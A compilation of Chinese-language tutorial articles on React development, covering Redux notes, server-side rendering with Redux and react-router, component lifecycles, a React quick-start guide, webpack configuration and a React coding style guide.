Redux 原来给出的概念, 听起来很简单的, Store 部分很像 Elm
大致就是 Model 部分设计成为一个不可变数据, 然后渲染
然而实际情况好像要复杂一些, 目前的 Store 当中的数据不是这样的
按照文档, 一般会出现这样的写法 combineReducers
http://rackt.github.io/redux/docs/basics/Reducers.html
注意是 ES6 的对象, 省略了 property 的书写, 实际上是个 Object 的定义:

import { combineReducers } from 'redux';

const todoApp = combineReducers({
  visibilityFilter,
  todos
});

这个方案的问题就是, Store 的顶层数据, 其实是用 Object 模拟的
包括后边绑定数据到组件上, 也是用了其中的一些 trick
比如说有这样的代码, 用来指明 store 传入的数据怎样绑定到组件上
https://github.com/rackt/redux/blob/master/examples/counter/containers/CounterApp.js

function mapStateToProps(state) {
  return {
    counter: state.counter
  }
}

function mapDispatchToProps(dispatch) {
  return bindActionCreators(CounterActions, dispatch);
}

export default connect(mapStateToProps, mapDispatchToProps)(Counter);

现在 API 按说已经稳定, 但是个写法还是导致结果稍微复杂了一些
按作者说, Splitting Reducers, 化大为小, 是管理 Store 比较好的办法
但我总觉得应该是从不可变数据本身去找, 而不是增加一套写法
也许以后文档上或者教程上会说得明确一些, 现在我还不明白

细节要注意区分一下, 而且要按照代码跑一跑才行, 我描述得不清楚
由于上边这个结构的原因, store 本身定义的方法, 也许不方便直接用

Provider 的写法

关于把 Store 的数据传递到组件当中, Redux 提供了额外的绑定
结果也带出来了 Provider 组件, 接收属性, 还接收函数作为参数, 写法是:
https://github.com/rackt/redux/blob/master/examples/counter/containers/Root.js
注意, CounterApp 这边没写属性, 是通过签名提到的写法注入进去的
大致上是 mapStateToProps 函数, 具体细节恐怕需要看源码:

import { Provider } from 'react-redux';

export default class Root extends Component {
  render() {
    return (
      <Provider store={store}>
        {() => <CounterApp />}
      </Provider>
    );
  }
}

而 Provider 的概念负责的事情似乎也多了一些, 具体到文档上看
http://rackt.github.io/redux/docs/basics/UsageWithReact.html

实现一个最简单的 Redux 应用, 需要的代码:
https://github.com/jackielii/simplest-redux-example/blob/master/index.js

Middlewares

中间件的概念我没看懂, 只是大致抄了一遍代码尝试了一遍
思路是用高阶函数对 store 做了一些封装, 插入了一些 Action 的操作
http://rackt.github.io/redux/docs/advanced/Middleware.html

DevTools

前面提到了 Devtools 是用 React 组件的方式提供的
没找到详细的文档, 具体的例子我查看代码的 examples 才知道的
https://github.com/gaearon/redux-devtools/blob/master/examples/counter/containers/App.js

export default class App extends Component {
  render() {
    return (
      <div>
        <Provider store={store}>
          {() => <CounterApp />}
        </Provider>
        <DebugPanel top right bottom>
          <DevTools store={store}
                    monitor={LogMonitor} />
        </DebugPanel>
      </div>
    );
  }
}

作者说调试工具是可以定制的, 因为仅仅是 React 组件而已
我估计大概是 LogMonitor 组件可以自己定义的关系

显示不可变数据

显示同时工具之后, 查看数据默认当做 JSON 对象处理和显示的,
在调试工具当中查看不可变数据稍微要加上一些代码:
https://github.com/gaearon/redux-devtools/issues/51

let selectDevToolsState = (state = {}) => Immutable.fromJS(state).toJS();

<DebugPanel top right bottom key="debugPanel">
    <DevTools store={store} select={selectDevToolsState} monitor={LogMonitor} />
</DebugPanel>

其中 state 变量有可能为 undefined 的, 注意不要忘掉处理

纯函数 Reducer

我在写 Demo 时候刚开始写了 shortid.generate()生成 id, 遇到个 bug
原因是这个生成 id 的函数是在 reducer 内部运行的,
似乎由于 DevTools 的存在, reducer 会被调用很多次, id 被创建了很多次
这不奇怪, 因为 Time Travel Debugger 就是会重新运行 Action 的

所以我才反应过来, 创建 id 在 Haskell 里也是跟 IO 有关的副作用函数
随机数还有读取外部环境的状态, 属于副作用, 会破坏纯函数
这个代码是不应该在 reducer 当中的写的, id 就放 Action Creator 里去了

这个可能一看暗示了 FRP 那样的编程思路引出的一个更深刻的问题
平时我们说 MVC, Model 是整个数据的核心, Model 可以被改变
在 FP 当中, Model 是以变化数据的 Stream 模拟它随着时间的改变
而这里, Store 作为 Model 却是因变量, 距离核心还隔着一步
数据的核心实际上是 initialState, 以及 Action 形成的 Stream
而 Model 实际上是通过 initialState 和 Actions 不断计算出来的

bindActionCreators

Redux 的例子当中, 处理 Action 是通过绑定到组件 props 来传递的
而不是我此前采用的, 直接用一个模块去调用的写法. 具体写法看这边:
https://github.com/rackt/redux/blob/master/docs/api/bindActionCreators.md
不清楚利弊. 我只是觉得这样设计太复杂了一些

总结

这篇文章算不上教程, 而是初步尝试 Redux 留下来的一些 Tips
我觉得大家关注 Redux 应该都是为的 Time Travel Debugger 的能力
现在看来 Redux 带来过多概念, 给我们项目跟进造成了门槛
总体思路上 Redux 比 Facebook 的方案清晰, 细节还期待更灵活一些


 玩转 React 服务器端渲染

作者：Coding_net

来源： 玩转 React 服务器端渲染



                    
原文链接：https://blog.coding.net/blog/React-server-rendering



React 提供了两个方法 renderToString 和 renderToStaticMarkup 用来将组件（Virtual DOM）输出成 HTML 字符串，这是 React 服务器端渲染的基础，它移除了服务器端对于浏览器环境的依赖，所以让服务器端渲染变成了一件有吸引力的事情。

服务器端渲染除了要解决对浏览器环境的依赖，还要解决两个问题：


	前后端可以共享代码


	前后端路由可以统一处理




React 生态提供了很多选择方案，这里我们选用 Redux 和 react-router 来做说明。

Redux

Redux 提供了一套类似 Flux 的单向数据流，整个应用只维护一个 Store，以及面向函数式的特性让它对服务器端渲染支持很友好。

2 分钟了解 Redux 是如何运作的

关于 Store：


	整个应用只有一个唯一的 Store


	Store 对应的状态树（State），由调用一个 reducer 函数（root reducer）生成


	状态树上的每个字段都可以进一步由不同的 reducer 函数生成


	Store 包含了几个方法比如 dispatch, getState 来处理数据流


	Store 的状态树只能由 dispatch(action) 来触发更改




Redux 的数据流：


	action 是一个包含 { type, payload } 的对象


	reducer 函数通过 store.dispatch(action) 触发


	reducer 函数接受 (state, action) 两个参数，返回一个新的 state


	reducer 函数判断 action.type 然后处理对应的 action.payload 数据来更新状态树




所以对于整个应用来说，一个 Store 就对应一个 UI 快照，服务器端渲染就简化成了在服务器端初始化 Store，将 Store 传入应用的根组件，针对根组件调用 renderToString 就将整个应用输出成包含了初始化数据的 HTML。

react-router

react-router 通过一种声明式的方式匹配不同路由决定在页面上展示不同的组件，并且通过 props 将路由信息传递给组件使用，所以只要路由变更，props 就会变化，触发组件 re-render。

假设有一个很简单的应用，只有两个页面，一个列表页 /list 和一个详情页 /item/:id，点击列表上的条目进入详情页。

可以这样定义路由，./routes.js

import React from 'react';
import { Route } from 'react-router';
import { List, Item } from './components';

// 无状态（stateless）组件，一个简单的容器，react-router 会根据 route
// 规则匹配到的组件作为 `props.children` 传入
const Container = (props) => {
  return (
    <div>{props.children}</div>
  );
};

// route 规则：
// - `/list` 显示 `List` 组件
// - `/item/:id` 显示 `Item` 组件
const routes = (
  <Route path="/" component={Container} >
    <Route path="list" component={List} />
    <Route path="item/:id" component={Item} />
  </Route>
);

export default routes;

从这里开始，我们通过这个非常简单的应用来解释实现服务器端渲染前后端涉及的一些细节问题。

Reducer

Store 是由 reducer 产生的，所以 reducer 实际上反映了 Store 的状态树结构

./reducers/index.js

import listReducer from './list';
import itemReducer from './item';

export default function rootReducer(state = {}, action) {
  return {
    list: listReducer(state.list, action),
    item: itemReducer(state.item, action)
  };
}

rootReducer 的 state 参数就是整个 Store 的状态树，状态树下的每个字段对应也可以有自己的
reducer，所以这里引入了 listReducer 和 itemReducer，可以看到这两个 reducer
的 state 参数就只是整个状态树上对应的 list 和 item 字段。

具体到 ./reducers/list.js

const initialState = [];

export default function listReducer(state = initialState, action) {
  switch(action.type) {
  case 'FETCH_LIST_SUCCESS': return [...action.payload];
  default: return state;
  }
}

list 就是一个包含 items 的简单数组，可能类似这种结构：[{ id: 0, name: 'first item'}, {id: 1, name: 'second item'}]，从 'FETCH_LIST_SUCCESS' 的 action.payload 获得。

然后是 ./reducers/item.js，处理获取到的 item 数据

const initialState = {};

export default function listReducer(state = initialState, action) {
  switch(action.type) {
  case 'FETCH_ITEM_SUCCESS': return [...action.payload];
  default: return state;
  }
}

Action

对应的应该要有两个 action 来获取 list 和 item，触发 reducer 更改 Store，这里我们定义 fetchList 和 fetchItem 两个 action。

./actions/index.js

import fetch from 'isomorphic-fetch';

export function fetchList() {
  return (dispatch) => {
    return fetch('/api/list')
        .then(res => res.json())
        .then(json => dispatch({ type: 'FETCH_LIST_SUCCESS', payload: json }));
  }
}

export function fetchItem(id) {
  return (dispatch) => {
    if (!id) return Promise.resolve();
    return fetch(`/api/item/${id}`)
        .then(res => res.json())
        .then(json => dispatch({ type: 'FETCH_ITEM_SUCCESS', payload: json }));
  }
}

isomorphic-fetch 是一个前后端通用的 Ajax 实现，前后端要共享代码这点很重要。

另外因为涉及到异步请求，这里的 action 用到了 thunk，也就是函数，redux 通过 thunk-middleware 来处理这类 action，把函数当作普通的 action dispatch 就好了，比如 dispatch(fetchList())

Store

我们用一个独立的 ./store.js，配置（比如 Apply Middleware）生成 Store

import { createStore } from 'redux';
import rootReducer from './reducers';

// Apply middleware here
// ...

export default function configureStore(initialState) {
  const store = createStore(rootReducer, initialState);
  return store;
}

react-redux

接下来实现 <List>，<Item> 组件，然后把 redux 和 react 组件关联起来，具体细节参见 react-redux

./app.js

import React from 'react';
import { render } from 'react-dom';
import { Router } from 'react-router';
import createBrowserHistory from 'history/lib/createBrowserHistory';
import { Provider } from 'react-redux';
import routes from './routes';
import configureStore from './store';

// `__INITIAL_STATE__` 来自服务器端渲染，下一部分细说
const initialState = window.__INITIAL_STATE__;
const store = configureStore(initialState);
const Root = (props) => {
  return (
    <div>
      <Provider store={store}>
        <Router history={createBrowserHistory()}>
          {routes}
        </Router>
      </Provider>
    </div>
  );
}

render(<Root />, document.getElementById('root'));

至此，客户端部分结束。

Server Rendering

接下来的服务器端就比较简单了，获取数据可以调用 action，routes 在服务器端的处理参考 react-router server rendering，在服务器端用一个 match 方法将拿到的 request url 匹配到我们之前定义的 routes，解析成和客户端一致的 props 对象传递给组件。

./server.js

import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import { RoutingContext, match } from 'react-router';
import { Provider } from 'react-redux';
import routes from './routes';
import configureStore from './store';

const app = express();

function renderFullPage(html, initialState) {
  return `
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
    </head>
    <body>
      <div id="root">
        <div>
          ${html}
        </div>
      </div>
      <script>
        window.__INITIAL_STATE__ = ${JSON.stringify(initialState)};
      </script>
      <script src="/static/bundle.js"></script>
    </body>
    </html>
  `;
}

app.use((req, res) => {
  match({ routes, location: req.url }, (err, redirectLocation, renderProps) => {
    if (err) {
      res.status(500).end(`Internal Server Error ${err}`);
    } else if (redirectLocation) {
      res.redirect(redirectLocation.pathname + redirectLocation.search);
    } else if (renderProps) {
      const store = configureStore();
      const state = store.getState();

      Promise.all([
        store.dispatch(fetchList()),
        store.dispatch(fetchItem(renderProps.params.id))
      ])
      .then(() => {
        const html = renderToString(
          <Provider store={store}>
            <RoutingContext {...renderProps} />
          </Provider>
        );
        res.end(renderFullPage(html, store.getState()));
      });
    } else {
      res.status(404).end('Not found');
    }
  });
});

服务器端渲染部分可以直接通过共用客户端 store.dispatch(action) 来统一获取 Store 数据。另外注意 renderFullPage 生成的页面 HTML 在 React 组件 mount 的部分(<div id="root">)，前后端的 HTML 结构应该是一致的。然后要把 store 的状态树写入一个全局变量（__INITIAL_STATE__），这样客户端初始化 render 的时候能够校验服务器生成的 HTML 结构，并且同步到初始化状态，然后整个页面被客户端接管。

最后关于页面内链接跳转如何处理？

react-router 提供了一个 <Link> 组件用来替代 <a> 标签，它负责管理浏览器 history，从而不是每次点击链接都去请求服务器，然后可以通过绑定 onClick 事件来作其他处理。

比如在 /list 页面，对于每一个 item 都会用 <Link> 绑定一个 route url：/item/:id，并且绑定 onClick 去触发 dispatch(fetchItem(id)) 获取数据，显示详情页内容。

更多参考


	Universal (Isomorphic)


	isomorphic-redux-app





 前端之React实战-组件

作者：王下邀月熊_Chevalier

来源： 前端之React实战-组件



                    
Components

React提供了和以往不一样的方式来看待视图，它以组件开发为基础。组件是React的核心概念，React 允许将代码封装成组件（component），然后像插入普通 HTML 标签一样，在网页中插入这个组件。React.createClass 方法就用于生成一个组件类。对React应用而言，你需要分割你的页面，使其成为一个个的组件。也就是说，你的应用是由这些组件组合而成的。你可以通过分割组件的方式去开发复杂的页面或某个功能区块，并且组件是可以被复用的。这个过程大概类似于用乐高积木去瓶装不同的物体。我们称这种编程方式称为组件驱动开发。

Declaration：组件声明

React是可以同时渲染HTML标签与组件的，但是要注意的是，一般Tags元素都是小写开头，而Component都是以大写字母开头，以下面为例：

var myDivElement = <div className="foo" />;
React.render(myDivElement, document.getElementById('example'));

而如果需要渲染一个Component：

var MyComponent = React.createClass({/*...*/});
var myElement = <MyComponent someProperty={true} />;
React.render(myElement, document.getElementById('example'));

LifeCycle

组件的生命周期分成三个状态：


	Mounting：已插入真实 DOM，即Initial Render


	Updating：正在被重新渲染，即Props与State改变


	Unmounting：已移出真实 DOM，即Component Unmount




React 为每个状态都提供了两种处理函数，will 函数在进入状态之前调用，did 函数在进入状态之后调用，三种状态共计五种处理函数。


	componentWillMount()


	componentDidMount()


	componentWillUpdate(object nextProps, object nextState)


	componentDidUpdate(object prevProps, object prevState)


	componentWillUnmount()




此外，React 还提供两种特殊状态的处理函数。


	componentWillReceiveProps(object nextProps)：已加载组件收到新的参数时调用


	shouldComponentUpdate(object nextProps, object nextState)：组件判断是否重新渲染时调用




Ini­tial Render



Props Change



State Change



这里可以看出，Props比State的改变会有多出一个shouldComponentUpdate的回调方法。

Com­po­nent Unmount



如果需要判断某个组件是否挂载，可以isMounted()方法进行判断，可以用该方法来确保异步调用中的setState与forceUpdate方法不会被误用。不过该方法在ES6的类中已经被移除了，在未来的版本中也会被逐步移除。    

总结而言，一个完整的React Component的写法应该如下：

/**
 * @jsx React.DOM
 */

var React = require('react'),
    MyReactComponent = React.createClass({

    // The object returned by this method sets the initial value of this.state
    getInitialState: function(){
        return {};
    },

    // The object returned by this method sets the initial value of this.props
    // If a complex object is returned, it is shared among all component instances      
    getDefaultProps: function(){
        return {};
    },

    // Returns the jsx markup for a component
    // Inspects this.state and this.props create the markup
    // Should never update this.state or this.props
    render: function(){
        return (<div></div>);
    },

    // An array of objects each of which can augment the lifecycle methods
    mixins: [],

    // Functions that can be invoked on the component without creating instances
    statics: {
        aStaticFunction: function(){}
    },

    // -- Lifecycle Methods --

    // Invoked once before first render
    componentWillMount: function(){
        // Calling setState here does not cause a re-render
    },

    // Invoked once after the first render
    componentDidMount: function(){
        // You now have access to this.getDOMNode()
    },

    // Invoked whenever there is a prop change
    // Called BEFORE render
    componentWillReceiveProps: function(nextProps){
        // Not called for the initial render
        // Previous props can be accessed by this.props
        // Calling setState here does not trigger an an additional re-render
    },

    // Determines if the render method should run in the subsequent step
    // Called BEFORE a render
    // Not called for the initial render
    shouldComponentUpdate: function(nextProps, nextState){
        // If you want the render method to execute in the next step
        // return true, else return false
        return true;
    },

    // Called IMMEDIATELY BEFORE a render
    componentWillUpdate: function(nextProps, nextState){
        // You cannot use this.setState() in this method
    },

    // Called IMMEDIATELY AFTER a render
    componentDidUpdate: function(prevProps, prevState){
    },

    // Called IMMEDIATELY before a component is unmounted
    componentWillUnmount: function(){
    }

}); 

module.exports = MyReactComponent;

Props

getDefaultProps

设置默认的Props.

Attributes

children

this.props 对象的属性与组件的属性一一对应，但是有一个例外，就是 this.props.children 属性。它表示组件的所有子节点。

    var NotesList = React.createClass({
      render: function() {
        return (
          <ol>
          {
            this.props.children.map(function (child) {
              return <li>{child}</li>
            })
          }
          </ol>
        );
      }
    });

    React.render(
      <NotesList>
        <span>hello</span>
        <span>world</span>
      </NotesList>,
      document.body
    );

其效果图如下所示：

enter description here

Validation

React.createClass({
  propTypes: {
    // You can declare that a prop is a specific JS primitive. By default, these
    // are all optional.
    optionalArray: React.PropTypes.array,
    optionalBool: React.PropTypes.bool,
    optionalFunc: React.PropTypes.func,
    optionalNumber: React.PropTypes.number,
    optionalObject: React.PropTypes.object,
    optionalString: React.PropTypes.string,

    // Anything that can be rendered: numbers, strings, elements or an array
    // containing these types.
    optionalNode: React.PropTypes.node,

    // A React element.
    optionalElement: React.PropTypes.element,

    // You can also declare that a prop is an instance of a class. This uses
    // JS's instanceof operator.
    optionalMessage: React.PropTypes.instanceOf(Message),

    // You can ensure that your prop is limited to specific values by treating
    // it as an enum.
    optionalEnum: React.PropTypes.oneOf(['News', 'Photos']),

    // An object that could be one of many types
    optionalUnion: React.PropTypes.oneOfType([
      React.PropTypes.string,
      React.PropTypes.number,
      React.PropTypes.instanceOf(Message)
    ]),

    // An array of a certain type
    optionalArrayOf: React.PropTypes.arrayOf(React.PropTypes.number),

    // An object with property values of a certain type
    optionalObjectOf: React.PropTypes.objectOf(React.PropTypes.number),

    // An object taking on a particular shape
    optionalObjectWithShape: React.PropTypes.shape({
      color: React.PropTypes.string,
      fontSize: React.PropTypes.number
    }),

    // You can chain any of the above with `isRequired` to make sure a warning
    // is shown if the prop isn't provided.
    requiredFunc: React.PropTypes.func.isRequired,

    // A value of any data type
    requiredAny: React.PropTypes.any.isRequired,

    // You can also specify a custom validator. It should return an Error
    // object if the validation fails. Don't `console.warn` or throw, as this
    // won't work inside `oneOfType`.
    customProp: function(props, propName, componentName) {
      if (!/matchme/.test(props[propName])) {
        return new Error('Validation failed!');
      }
    }
  },
  /* ... */
});

State

React不提倡数据的双向绑定，而在用户行为下面产生的数据更新，React建议还是通过事件机制来处理。譬如下述例子中，输入框文本内容的改变，还是通过onChange事件，然后出发状态机的变化。

    var LikeButton = React.createClass({
      getInitialState: function() {
        return {liked: false};
      },
      handleClick: function(event) {
        this.setState({liked: !this.state.liked});
      },
      render: function() {
        var text = this.state.liked ? 'like' : 'haven\'t liked';
        return (
          <p onClick={this.handleClick}>
            You {text} this. Click to toggle.
          </p>
        );
      }
    });

    React.render(
      <LikeButton />,
      document.getElementById('example')
    );

Props与State对比


参考资料

Props VS State



组件的主要职责是将原始数据转化为HTML中的富文本格式，而Props与State协作完成这件事，换言之，Props与State的并集即是全部的原始数据。Props与State之间也是有很多交集的，譬如：


	Props与State都是JS对象。


	Props与State的值的改变都会触发界面的重新渲染。


	Props与State都是确定性的，即在确定的Props或者State的值的情况下都会得出相同的界面。




不过Props顾名思义，更多的是作为Component的配置项存在。Props往往是由父元素指定并且传递给自己的子元素，不过自身往往不会去改变Props的值。另一方面，State在组件被挂载时才会被赋予一个默认值，而常常在与用户的交互中发生更改。往往一个组件独立地维护它的整个状态机，可以认为State是一个私有属性。他们的对比如下：



	描述
	Props
	State





	是否可以从父元素获取初始值
	Yes
	Yes



	是否可以被父元素改变
	Yes
	No



	是否可以设置默认值
	Yes
	Yes



	是否可以在组件内改变
	No
	Yes



	是否可以设置为子元素的初始值
	Yes
	Yes



	是否可以在子元素中改变
	Yes
	No





Multiple Components

Children：组件Tag内包裹

上文中提及过，一种利用组件内包裹的方式动态定义组件的方式，可以利用Props的children属性来获取所有包裹住的Dom对象。

Nested Components

React主打的是组件驱动型编程，往往可以将一个大的组件拆分为几个小的组件，这里以头像控件为例：


var Avatar = React.createClass({
  render: function() {
    return (
      <div>
        <ProfilePic username={this.props.username} />
        <ProfileLink username={this.props.username} />
      </div>
    );
  }
});

var ProfilePic = React.createClass({
  render: function() {
    return (
      <img src={'https://graph.facebook.com/' + this.props.username + '/picture'} />
    );
  }
});

var ProfileLink = React.createClass({
  render: function() {
    return (
      <a href={'https://www.facebook.com/' + this.props.username}>
        {this.props.username}
      </a>
    );
  }
});

React.render(
  <Avatar username="pwh" />,
  document.getElementById('example')
);

有时候在某个组件内调用另一个组件，并不会进行渲染，譬如：


class Home extends React.Component {
  render() {
    return (
      <div>
        <map/>
      </div>   
    );
  }
}
var map = React.createClass({
   render: function() {
      return (
          <div id="map-canvas">
            <span>hello</span>
          </div>
      );
    }
});

这里的map并不会被识别，应该把map变为Map,可以参考这里。

Mixins：组件的继承

虽然组件的原则就是模块化，彼此之间相互独立，但是有时候不同的组件之间可能会共用一些功能，共享一部分代码。所以 React 提供了 mixins 这种方式来处理这种问题。Mixin 就是用来定义一些方法，使用这个 mixin 的组件能够自由的使用这些方法（就像在组件中定义的一样），所以 mixin 相当于组件的一个扩展，在 mixin 中也能定义“生命周期”方法。

比如一个定时器的 mixin：

var SetIntervalMixin = {
    componentWillMount: function() {
        this.intervals = [];
    },
    setInterval: function() {
        this.intervals.push(setInterval.apply(null, arguments));
    },
    componentWillUnmount: function() {
        this.intervals.map(clearInterval);
    }
};

var TickTock = React.createClass({
    mixins: [SetIntervalMixin], // Use the mixin
    getInitialState: function() {
        return {seconds: 0};
    },
    componentDidMount: function() {
        this.setInterval(this.tick, 1000); // Call a method on the mixin
    },
    tick: function() {
        this.setState({seconds: this.state.seconds + 1});
    },
    render: function() {
        return (
            <p>
                React has been running for {this.state.seconds} seconds.
            </p>
        );
    }
});

React.render(
    <TickTock />,
    document.getElementById('example')
);

React 的 mixins 的强大之处在于，如果一个组件使用了多个 mixins，其中几个 mixins 定义了相同的“生命周期方法”，这些方法会在组件相应的方法执行完之后按 mixins 指定的数组顺序执行。
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原文链接：The React Quick Start Guide



这篇文章将概括性的介绍一下如何用 ReactJS 进行开发。我将介绍一些基础知识，不会有过于深入的分析。你可以结合这些代码阅读本文。

一些概念

React 的 API 非常少，简单易懂易用。在正式开始之前先介绍几个概念，一个一个来。

React 元素 是表现为 HTML 元素的 JavaScript 对象，他们并不真实存在于浏览器中。他们最终表现为类似h1, div 或 section 之类的浏览器元素。

JSX 是一种创建 React 元素和 components 的技术。例如 <h1>Hello</h1> 是一个用 JSX 写的 React 元素。同样可以用纯 JavaScript 写成 React.DOM.h1(null, 'Hello');。JSX 读写起来更轻松，最终上线之前必须将 JSX 语句转为 JavaScript 语句。

虚拟DOM 是由 React 元素和 components 组成的 JavaScript 树形结构对象。React 将虚拟 DOM 渲染到浏览器中变成最终的用户界面。React 会观察虚拟 DOM 的变化，并自动将这些变化渲染到浏览器端。

理解了上面这些概念，我们可以开始使用 React 写一些例子了。下面会开发一系列功能，每一个例子都是在前一个例子的基础上进行改进。我们会编写一个类似 instagram 的照片流程序 - 没有比这更好的示例程序了。



渲染

第一步是渲染虚拟元素（React 元素或 component）。注意，虚拟元素只存在于内存中，必须显式地告诉 React 将它渲染到浏览器上。

React.render(<img src='http://tinyurl.com/lkevsb9' />, document.body)

查看 JSBin  

render 函数接收两个参数：虚拟元素和真实的浏览器 DOM 元素。React 将虚拟元素插入到指定的 DOM 元素中。上例中可以看到图片被渲染出来了。



组件(Components)

组件是 React 的精髓所在。它们是自定义的 React 元素，通常有一些功能和结构定义。

var Photo = React.createClass({

  render: function() {
    return <img src='http://tinyurl.com/lkevsb9' />
  }
});

React.render(<Photo />, document.body);

查看 JSBin  

createClass 函数接收一个对象，这个对象实现了 render 方法。  

这个Photo组件定义了 <Photo />元素，并且渲染到 document.body 里。  

这个组件跟之前的渲染图片没有太大区别，但是它为将来添加自定义功能奠定了基础。



属性(Props)

可以把属性看做组件的配置参数，看起来非常像 HTML 属性。

var Photo = React.createClass({

  render: function() {
    return (
      <div className='photo'>
        <img src={this.props.imageURL} />
        <span>{this.props.caption}</span>  
      </div>
    );  
  }
});

React.render(<Photo imageURL='http://tinyurl.com/lkevsb9' caption='Hong Kong!' />, document.body);

查看 JSBin  

imageURL 和 caption 两个属性被传递到 Photo 组件内的 render 函数里。  

imageURL 被用在 React 图片元素的 src 属性，caption 被用作 React span 元素内的文本。  

组件不会改变它的属性，他们是静止不变的。如果组件里包含动态数据，就要用到状态(State)对象。



状态(State)

状态对象用来记录随时可能变化的数据。

var Photo = React.createClass({
  toggleLiked: function() {
    this.setState({
      liked: !this.state.liked
    });
  },

  getInitialState: function() {
    return {
      liked: false
    };
  },

  render: function() {
    var buttonClass = this.state.liked ? 'active' : '';

    return (
      <div className='photo'>
        <img src={this.props.src} />

        <div className='bar'>
          <button onClick={this.toggoleLiked} className={buttonClass}>
            ♥
          </button>
          <span>{this.props.caption}</span>
        </div>
      </div>
    );
  }
});

React.render(<Photo src='http://tinyurl.com/lkevsb9' caption='Hong Kong!') />, document.body);

查看 JSBin  

组件的状态给组件引入了一些复杂性。  

这个组件有一个新的函数 getInitialState。 当组件初始化时 React 会去调用这个函数。根据它返回的对象来设置组件的初始状态（正如函数名所表达的那样）。  

这个组件还有另一个新函数 toggleLiked。它调用了 setState 来切换 liked 的值。  

在 render 函数里有个 buttonClass 的变量，根据 liked 状态被标记为 'active' 或 空值。  

buttonClass 被用作 React button 元素的类名。这个按钮还将 toggleLiked 函数绑定到 onClick 事件上。

看看在浏览器中渲染出来是什么效果：


	当组件里的按钮被点击时，触发 toggleLiked 函数


	liked 状态被改变


	React 重新渲染虚拟 DOM


	新老虚拟 DOM 进行对比


	React 识别出变化的部分并渲染到浏览器




上例演示了点击按钮来改变类名



组合组件(Composition)

将一些小的组件(components)链接起来形成一个大的组合组件。例如 Photo 组件可以用在 PhotoGallery 组件中，如下：

var Photo = React.createClass({
  
  toggleLiked: function() {
    this.setState({
      liked: !this.state.liked
    });
  },

  getInitialState: function() {
    return {
      liked: false
    };
  },

  render: function() {
    var buttonClass = this.state.liked ? 'active' : '';

    return (
      <div className='photo'>
        <img src={this.props.src} />
        
        <div className='bar'>
          <button onClick={this.toggleLiked} className={buttonClass}>
            ♥
          </button>
          <span>{this.props.caption}</span>
        </div>
      </div>
    );
  }
});

var PhotoGallery = React.createClass({
  
  render: function() {

    var photos = this.props.photos.map(function(photo) {
      return <Photo src={photo.url} caption={photo.caption} />
    });

    return (
      <div className='photo-gallery'>
        {photos}
      </div>
    );
  }
});

var data = [
  {
    url: 'http://tinyurl.com/lkevsb9',
    caption: 'Hong Kong!'
  },
  {
    url: 'http://tinyurl.com/mxkwh56',
    caption: 'Cows'
  },
  {
    url: 'http://tinyurl.com/nc7jv28',
    caption: 'Scooters'
  }
];

React.render(<PhotoGallery photos={data} />, document.body);

查看 JSBin  

Photo 组件跟之前的没什么两样。新组件 PhotoGallery 根据 3 条假数据生成了 3 个 Photo 组件。



结语

本文只是一篇 React 入门，我强烈推荐大家去读 React 官方文档，里面包含了所有你想要的细节。  

还有一些值得一看的视频资源。Pete Hunt 讲的 re-thinking web application architecture with React 和 Tom Occhino 讲的 React Native for building native mobile applications with React (WIP)。  

本文并没有介绍如何设置你的本地开发环境，官方文档有相关介绍，或者，你还可以看看我的解决方案 boilerplate。  

如果本文有什么错误之处，欢迎在 twitter 上联系我，或者给我提 pull request。尽情给我发邮件吧，我很乐意效劳。

P.S - 如果你准备开发一个更复杂的 React 应用，推荐 The Flux Quick Start Guide(译注：中文译文 《Flux 入门》)。
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作者：ssnau

来源： 用webpack来取代browserify



                    
本来打算一心跟着browserify走的，但是无奈它的transform机制令人烦躁。今天有这么一个需求，配置了一会，感觉用browserify搞不定。


一个react项目，我的jsx文件需要编译，于是jsx中会require('react')，但是我又不想在输出的bundle.js中包含react那1.5W行的代码，原因有二：



	输出的代码太多，分散我的注意力

	业务代码就那么点，却需要对整个react进行解析，速度太慢



于是我找到了browserify + literalify的解决方案，无奈的是始终无法搓合browserify + reactify + literalify，只得放弃。


开始尝试其竞品webpack，webpack做为一个专业的面向web的打包工具，拥用了一系列browserify不具备的，得依靠插件才能完成的事情。


在webpack中完成我的需求就非常简单了，只须要一个webpack.config.js文件说明一下配置项即可：


module.exports = {
    // 表示入口文件
    entry: "./app.js",
    // 表示输出文件
    output: {
        path: __dirname,
        filename: "bundle.js"
    },
    // 表示这个依赖项是外部lib，遇到require它不需要编译，
    // 且在浏览器端对应window.React
    externals: {
      'react': 'window.React'
    },
    // 凡是遇到jsx结尾的，都用jsx-loader这个插件来加载，
    // 且启用harmony模式
    module: {
        loaders: [
            { test: /\.js/, loader: "jsx-loader?harmony" }
        ]
    }
};



再执行一下webpack，整个世界都好了。


而且webpack还自带watch功能，只需要webpack --progress --colors --watch就能看到带进度，带颜色的输出了。


最后在packages.json中的scripts下加上：


"pack": "webpack --progress --colors --watch"



从此就只用输入npm run-script pack来执行喽。


 React 编程风格指南

作者：MockingBird

来源： React 编程风格指南



                    
本文讨论的是 React.js 编程中的一些编程风格，团队开发中遵循统一的风格有利于提高代码的阅读体验。
本文译自React style guide。下面将从三个方面来讲。

语法

方法顺序遵循生命周期放在前面， render() 方法放在最后

在 react 组件内部，方法的顺序如下：


	生命周期方法（按照时间先后顺序依次为： getDefaultProps, getInitialState, componentWillMount, componentDidMount, componentWillReceiveProps, shouldComponentUpdate, componentWillUpdate, componentDidUpdate, componentWillUnmount ）


	其他的方法


	render 方法




事件处理函数的命名

采用 "handle" + "EventName" 的方式来命名
Example：

<Component onClick={this.handleClick} onLaunchMissiles={this.handleLaunchMissiles} />

事件函数作为属性时的命名

为了跟 react 的事件命名保持一致： onClick, onDrag, onChange, 等等，采用如下格式：

<Component onLaunchMissiles={this.handleLaunchMissiles} />

元素跟 return 放在同一行

为了节约空间，采用下面的写法：

return <div>
    ...
</div>;

而不是：

return (      // "div" 与 "return" 不在同一行
    <div>
        ...
    </div>
);

对HTML的属性进行对齐和排序

如果属性不是太多，那就放在同一行，否则就把每一个属性都单独写一行：

<div className="highlight" key="highlight-div">
<div
    className="highlight"
    key="highlight-div"
>
<Image
    className="highlight"
    key="highlight-div"
/>

而不是：

<div className="highlight"      // 属性没有在单独行
     key="highlight-div"
>
<div                            // 闭合便签不在单独的行
    className="highlight"
    key="highlight-div">
<div                            // 属性没有排序（一般重要的属性写在前面）
    key="highlight-div"
    className="highlight"
>

一个文件只导出一个 react 类

每一个 .jsx 应该只能导出单独的 react 类。这样有利于测试，因为这些测试框架要求一个文件导出的就是一个函数。
